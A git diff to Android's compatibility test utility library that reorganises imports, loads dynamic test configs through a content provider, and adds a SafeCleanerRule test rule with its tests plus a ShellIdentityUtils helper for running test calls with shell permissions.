--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java
@@ -17,7 +17,6 @@
 package com.android.compatibility.common.util;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
 
 import android.graphics.Color;
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java
index 6cf1414..9360942 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java
@@ -46,8 +46,6 @@
 
     public static native boolean isArmCpu();
 
-    public static native boolean isArm7Compatible();
-
     public static native boolean isMipsCpu();
 
     public static native boolean isX86Cpu();
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java
index 966ac1a..37626ac 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java
@@ -22,7 +22,6 @@
 import java.io.IOException;
 import java.io.OutputStreamWriter;
 import java.nio.charset.StandardCharsets;
-import java.util.Arrays;
 import java.util.List;
 
 public class DeviceInfoStore extends InfoStore {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
index e7ee499..d620219 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
@@ -16,17 +16,29 @@
 
 package com.android.compatibility.common.util;
 
+import android.content.ContentResolver;
+import android.content.Context;
+import android.net.Uri;
 import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
 
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.File;
 import java.io.IOException;
+import java.io.FileNotFoundException;
 
 /**
  * Load dynamic config for device side test cases
  */
 public class DynamicConfigDeviceSide extends DynamicConfig {
+
+    public static final String CONTENT_PROVIDER =
+            String.format("%s://android.tradefed.contentprovider", ContentResolver.SCHEME_CONTENT);
+
     public DynamicConfigDeviceSide(String moduleName) throws XmlPullParserException, IOException {
         this(moduleName, new File(CONFIG_FOLDER_ON_DEVICE));
     }
@@ -36,6 +48,21 @@
         if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
             throw new IOException("External storage is not mounted");
         }
+        // Use the content provider to get the config:
+        String uriPath = String.format("%s/%s/%s.dynamic", CONTENT_PROVIDER, configFolder.getAbsolutePath(), moduleName);
+        Uri sdcardUri = Uri.parse(uriPath);
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        try {
+            ContentResolver resolver = appContext.getContentResolver();
+            ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri,"r");
+
+            initializeConfig(new ParcelFileDescriptor.AutoCloseInputStream(descriptor));
+            return;
+        } catch (FileNotFoundException e) {
+            // Log the error and use the fallback too
+            Log.e("DynamicConfigDeviceSide", "Error while using content provider for config", e);
+        }
+        // Fallback to the direct search
         File configFile = getConfigFile(configFolder, moduleName);
         initializeConfig(configFile);
     }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java
index b860b96..0d7302a 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -21,6 +21,7 @@
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.os.Build;
+
 import androidx.test.InstrumentationRegistry;
 
 import java.util.HashSet;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
index 0dd9e82..fdfdf42 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -19,10 +19,10 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
-import android.os.Build;
-import androidx.test.InstrumentationRegistry;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.security.MessageDigest;
 import java.security.NoSuchAlgorithmException;
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index 285b732..b87e88b 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -17,6 +17,7 @@
 package com.android.compatibility.common.util;
 
 import android.os.Build;
+
 import androidx.test.InstrumentationRegistry;
 
 import java.io.IOException;
@@ -53,12 +54,6 @@
         return propertyEquals(BUILD_TYPE_PROPERTY, "user");
     }
 
-    /** Returns whether the device build is the factory ROM */
-    public static boolean isFactoryROM() {
-        // property should be undefined if and only if the product is factory ROM.
-        return getPropertyInt(FIRST_API_LEVEL) == INT_VALUE_IF_UNSET;
-    }
-
     /** Returns whether this build is built with dev-keys */
     public static boolean isDevKeysBuild() {
         for (String tag : Build.TAGS.split(",")) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
index deb7056..0ab94d6 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
@@ -16,9 +16,10 @@
 
 package com.android.compatibility.common.util;
 
-import androidx.test.InstrumentationRegistry;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.rules.TestRule;
 import org.junit.runner.Description;
 import org.junit.runners.model.Statement;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SafeCleanerRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SafeCleanerRule.java
new file mode 100644
index 0000000..903922d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SafeCleanerRule.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.Callable;
+
+/**
+ * Rule used to safely run clean up code after a test is finished, so that exceptions thrown by
+ * the cleanup code don't hide exception thrown by the test body
+ */
+// TODO: move to common CTS code
+public final class SafeCleanerRule implements TestRule {
+
+    private static final String TAG = "SafeCleanerRule";
+
+    private final List<Runnable> mCleaners = new ArrayList<>();
+    private final List<Callable<List<Throwable>>> mExtraThrowables = new ArrayList<>();
+    private final List<Throwable> mThrowables = new ArrayList<>();
+    private Dumper mDumper;
+
+    /**
+     * Runs {@code cleaner} after the test is finished, catching any {@link Throwable} thrown by it.
+     */
+    public SafeCleanerRule run(@NonNull Runnable cleaner) {
+        mCleaners.add(cleaner);
+        return this;
+    }
+
+    /**
+     * Adds exceptions directly.
+     *
+     * <p>Typically used when exceptions were caught asychronously during the test execution.
+     */
+    public SafeCleanerRule add(@NonNull Callable<List<Throwable>> exceptions) {
+        mExtraThrowables.add(exceptions);
+        return this;
+    }
+
+    /**
+     * Sets a {@link Dumper} used to log errors.
+     */
+    public SafeCleanerRule setDumper(@NonNull Dumper dumper) {
+        mDumper = dumper;
+        return this;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                // First run the test
+                try {
+                    base.evaluate();
+                } catch (Throwable t) {
+                    Log.w(TAG, "Adding exception from main test");
+                    mThrowables.add(t);
+                }
+
+                // Then the cleanup runners
+                for (Runnable runner : mCleaners) {
+                    try {
+                        runner.run();
+                    } catch (Throwable t) {
+                        Log.w(TAG, "Adding exception from cleaner");
+                        mThrowables.add(t);
+                    }
+                }
+
+                // And finally add the extra exceptions
+                for (Callable<List<Throwable>> extraThrowablesCallable : mExtraThrowables) {
+                    final List<Throwable> extraThrowables = extraThrowablesCallable.call();
+                    if (extraThrowables != null) {
+                        Log.w(TAG, "Adding " + extraThrowables.size() + " extra exceptions");
+                        mThrowables.addAll(extraThrowables);
+                    }
+                }
+
+                // Finally, throw up!
+                if (mThrowables.isEmpty()) return;
+
+                final int numberExceptions = mThrowables.size();
+                if (numberExceptions == 1) {
+                    fail(description, mThrowables.get(0));
+                }
+                fail(description, new MultipleExceptions(mThrowables));
+            }
+
+        };
+    }
+
+    private void fail(Description description, Throwable t) throws Throwable {
+        if (mDumper != null) {
+            mDumper.dump(description.getDisplayName(), t);
+        }
+        throw t;
+    }
+
+    private static String toMesssage(List<Throwable> throwables) {
+        String msg = "D'OH!";
+        try {
+            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
+                sw.write("Caught " + throwables.size() + " exceptions\n");
+                for (int i = 0; i < throwables.size(); i++) {
+                    sw.write("\n---- Begin of exception #" + (i + 1) + " ----\n");
+                    final Throwable exception = throwables.get(i);
+                    exception.printStackTrace(pw);
+                    sw.write("---- End of exception #" + (i + 1) + " ----\n\n");
+                }
+                msg = sw.toString();
+            }
+        } catch (IOException e) {
+            // ignore close() errors - should not happen...
+            Log.e(TAG, "Exception closing StringWriter: " + e);
+        }
+        return msg;
+    }
+
+    // VisibleForTesting
+    static class MultipleExceptions extends AssertionError {
+        private final List<Throwable> mThrowables;
+
+        private MultipleExceptions(List<Throwable> throwables) {
+            super(toMesssage(throwables));
+
+            this.mThrowables = throwables;
+        }
+
+        List<Throwable> getThrowables() {
+            return mThrowables;
+        }
+    }
+
+    /**
+     * Optional interface used to dump an error.
+     */
+    public interface Dumper {
+
+        /**
+         * Dumps an error.
+         */
+        void dump(@NonNull String testName, @NonNull Throwable t);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java
new file mode 100644
index 0000000..73f66bf
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ShellIdentityUtils.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.UiAutomation;
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Provides utility methods to invoke system and privileged APIs as the shell user.
+ */
+public class ShellIdentityUtils {
+
+    /**
+     * Utility interface to invoke a method against the target object.
+     *
+     * @param <T> the type returned by the invoked method.
+     * @param <U> the type of the object against which the method is invoked.
+     */
+    public interface ShellPermissionMethodHelper<T, U> {
+        /**
+         * Invokes the method against the target object.
+         *
+         * @param targetObject the object against which the method should be invoked.
+         * @return the result of the invoked method.
+         */
+        T callMethod(U targetObject);
+    }
+
+    /**
+     * Utility interface to invoke a method against the target object.
+     *
+     * @param <U> the type of the object against which the method is invoked.
+     */
+    public interface ShellPermissionMethodHelperNoReturn<U> {
+        /**
+         * Invokes the method against the target object.
+         *
+         * @param targetObject the object against which the method should be invoked.
+         */
+        void callMethod(U targetObject);
+    }
+
+    /**
+     * Invokes the specified method on the targetObject as the shell user. The method can be invoked
+     * as follows:
+     *
+     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+     *        (tm) -> tm.getDeviceId());}
+     */
+    public static <T, U> T invokeMethodWithShellPermissions(U targetObject,
+            ShellPermissionMethodHelper<T, U> methodHelper) {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            return methodHelper.callMethod(targetObject);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Invokes the specified method on the targetObject as the shell user. The method can be invoked
+     * as follows:
+     *
+     * {@code ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+     *        (tm) -> tm.getDeviceId());}
+     */
+    public static <U> void invokeMethodWithShellPermissionsNoReturn(
+            U targetObject, ShellPermissionMethodHelperNoReturn<U> methodHelper) {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            methodHelper.callMethod(targetObject);
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Utility interface to invoke a static method.
+     *
+     * @param <T> the type returned by the invoked method.
+     */
+    public interface StaticShellPermissionMethodHelper<T> {
+        /**
+         * Invokes the static method.
+         *
+         * @return the result of the invoked method.
+         */
+        T callMethod();
+    }
+
+    /**
+     * Invokes the specified static method as the shell user. This method can be invoked as follows:
+     *
+     * {@code ShellIdentityUtils.invokeStaticMethodWithShellPermissions(Build::getSerial));}
+     */
+    public static <T> T invokeStaticMethodWithShellPermissions(
+            StaticShellPermissionMethodHelper<T> methodHelper) {
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            return methodHelper.callMethod();
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
index a7c2321..674b4e8 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/SystemUtil.java
@@ -25,9 +25,10 @@
 import android.content.Context;
 import android.os.ParcelFileDescriptor;
 import android.os.StatFs;
-import androidx.test.InstrumentationRegistry;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.util.function.Predicate;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
index 8f3ab8f..dfafabe 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
@@ -16,18 +16,24 @@
 
 package com.android.compatibility.common.util;
 
+import static android.view.ViewTreeObserver.OnDrawListener;
+import static android.view.ViewTreeObserver.OnGlobalLayoutListener;
+
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
+
 import android.content.Context;
 import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.test.rule.ActivityTestRule;
 import android.text.Editable;
 import android.text.TextUtils;
 import android.view.View;
 import android.view.ViewTreeObserver;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.rule.ActivityTestRule;
+
 import junit.framework.Assert;
 
 import org.hamcrest.BaseMatcher;
@@ -39,10 +45,6 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-import static android.view.ViewTreeObserver.OnDrawListener;
-import static android.view.ViewTreeObserver.OnGlobalLayoutListener;
-import static org.mockito.hamcrest.MockitoHamcrest.argThat;
-
 /**
  * The useful methods for widget test.
  */
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
index ae6849c..f8f20c3 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
@@ -25,10 +25,11 @@
 import android.content.IntentFilter;
 import android.os.Bundle;
 import android.os.RemoteException;
-import androidx.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
 import java.util.concurrent.CountDownLatch;
diff --git a/common/device-side/util-axt/tests/Android.bp b/common/device-side/util-axt/tests/Android.bp
new file mode 100644
index 0000000..dad4a36
--- /dev/null
+++ b/common/device-side/util-axt/tests/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+    name: "compatibility-device-util-axt-tests",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "junit",
+        "testng", // TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
+        "truth-prebuilt"
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/common/device-side/util-axt/tests/Android.mk b/common/device-side/util-axt/tests/Android.mk
deleted file mode 100644
index a4681de..0000000
--- a/common/device-side/util-axt/tests/Android.mk
+++ /dev/null
@@ -1,29 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt junit
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-util-axt-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
index 3b0f0de..1f72447 100644
--- a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
@@ -20,6 +20,7 @@
 import static junit.framework.Assert.assertTrue;
 
 import android.os.Build;
+
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
index e8d5d29..18bb7c6 100644
--- a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
@@ -17,15 +17,18 @@
 
 import static junit.framework.Assert.assertEquals;
 import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertNull;
 import static junit.framework.Assert.assertTrue;
 import static junit.framework.Assert.fail;
+
 import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import junit.framework.AssertionFailedError;
+
 import org.junit.AssumptionViolatedException;
 import org.junit.Before;
 import org.junit.Ignore;
@@ -36,8 +39,6 @@
 import java.util.Arrays;
 import java.util.List;
 
-import junit.framework.AssertionFailedError;
-
 /**
  * Tests for {@line BusinessLogicDeviceExecutor}.
  */
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
new file mode 100644
index 0000000..798e016
--- /dev/null
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
@@ -0,0 +1,254 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.verify;
+import static org.testng.Assert.expectThrows;
+
+import com.android.compatibility.common.util.SafeCleanerRule.Dumper;
+
+import com.google.common.collect.ImmutableList;
+
+import org.junit.Test;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+import java.util.List;
+import java.util.concurrent.Callable;
+
+@RunWith(MockitoJUnitRunner.class)
+public class SafeCleanerRuleTest {
+
+    private static class FailureStatement extends Statement {
+        private final Throwable mThrowable;
+
+        FailureStatement(Throwable t) {
+            mThrowable = t;
+        }
+
+        @Override
+        public void evaluate() throws Throwable {
+            throw mThrowable;
+        }
+    }
+
+    private final Description mDescription = Description.createSuiteDescription("Whatever");
+    private final RuntimeException mRuntimeException = new RuntimeException("D'OH!");
+
+    @Mock private Dumper mDumper;
+
+    // Use mocks for objects that don't throw any exception.
+    @Mock private Runnable mGoodGuyRunner1;
+    @Mock private Runnable mGoodGuyRunner2;
+    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions1;
+    @Mock private Callable<List<Throwable>> mGoodGuyExtraExceptions2;
+    @Mock private Statement mGoodGuyStatement;
+
+    @Test
+    public void testEmptyRule_testPass() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule();
+        rule.apply(mGoodGuyStatement, mDescription).evaluate();
+    }
+
+    @Test
+    public void testEmptyRule_testFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule();
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+    }
+
+    @Test
+    public void testEmptyRule_testFails_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule().setDumper(mDumper);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testOnlyTestFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testOnlyTestFails_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(new FailureStatement(mRuntimeException), mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testTestPass_oneRunnerFails() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .run(() -> { throw mRuntimeException; })
+                .run(mGoodGuyRunner2)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testTestPass_oneRunnerFails_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .run(() -> {
+                    throw mRuntimeException;
+                })
+                .run(mGoodGuyRunner2)
+                .add(mGoodGuyExtraExceptions1);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testTestPass_oneExtraExceptionThrown() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(() -> {
+                    return ImmutableList.of(mRuntimeException);
+                })
+                .add(mGoodGuyExtraExceptions1)
+                .run(mGoodGuyRunner2);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testTestPass_oneExtraExceptionThrown_withDumper() throws Throwable {
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .setDumper(mDumper)
+                .run(mGoodGuyRunner1)
+                .add(() -> { return ImmutableList.of(mRuntimeException); })
+                .add(mGoodGuyExtraExceptions1)
+                .run(mGoodGuyRunner2);
+        final Throwable actualException = expectThrows(RuntimeException.class,
+                () -> rule.apply(mGoodGuyStatement, mDescription).evaluate());
+        assertThat(actualException).isSameAs(mRuntimeException);
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+        verify(mDumper).dump("Whatever", actualException);
+    }
+
+    @Test
+    public void testThrowTheKitchenSinkAKAEverybodyThrows() throws Throwable {
+        final Exception extra1 = new Exception("1");
+        final Exception extra2 = new Exception("2");
+        final Exception extra3 = new Exception("3");
+        final Error error1 = new Error("one");
+        final Error error2 = new Error("two");
+        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
+        final SafeCleanerRule rule = new SafeCleanerRule()
+                .run(mGoodGuyRunner1)
+                .add(mGoodGuyExtraExceptions1)
+                .add(() -> {
+                    return ImmutableList.of(extra1, extra2);
+                })
+                .run(() -> {
+                    throw error1;
+                })
+                .run(mGoodGuyRunner2)
+                .add(() -> {
+                    return ImmutableList.of(extra3);
+                })
+                .add(mGoodGuyExtraExceptions2)
+                .run(() -> {
+                    throw error2;
+                });
+
+        final SafeCleanerRule.MultipleExceptions actualException = expectThrows(
+                SafeCleanerRule.MultipleExceptions.class,
+                () -> rule.apply(new FailureStatement(testException), mDescription).evaluate());
+        assertThat(actualException.getThrowables())
+                .containsExactly(testException, error1, error2, extra1, extra2, extra3)
+                .inOrder();
+        verify(mGoodGuyRunner1).run();
+        verify(mGoodGuyRunner2).run();
+        verify(mGoodGuyExtraExceptions1).call();
+    }
+
+    @Test
+    public void testThrowTheKitchenSinkAKAEverybodyThrows_withDumper() throws Throwable {
+        final Exception extra1 = new Exception("1");
+        final Exception extra2 = new Exception("2");
+        final Exception extra3 = new Exception("3");
+        final Error error1 = new Error("one");
+        final Error error2 = new Error("two");
+        final RuntimeException testException  = new RuntimeException("TEST, Y U NO PASS?");
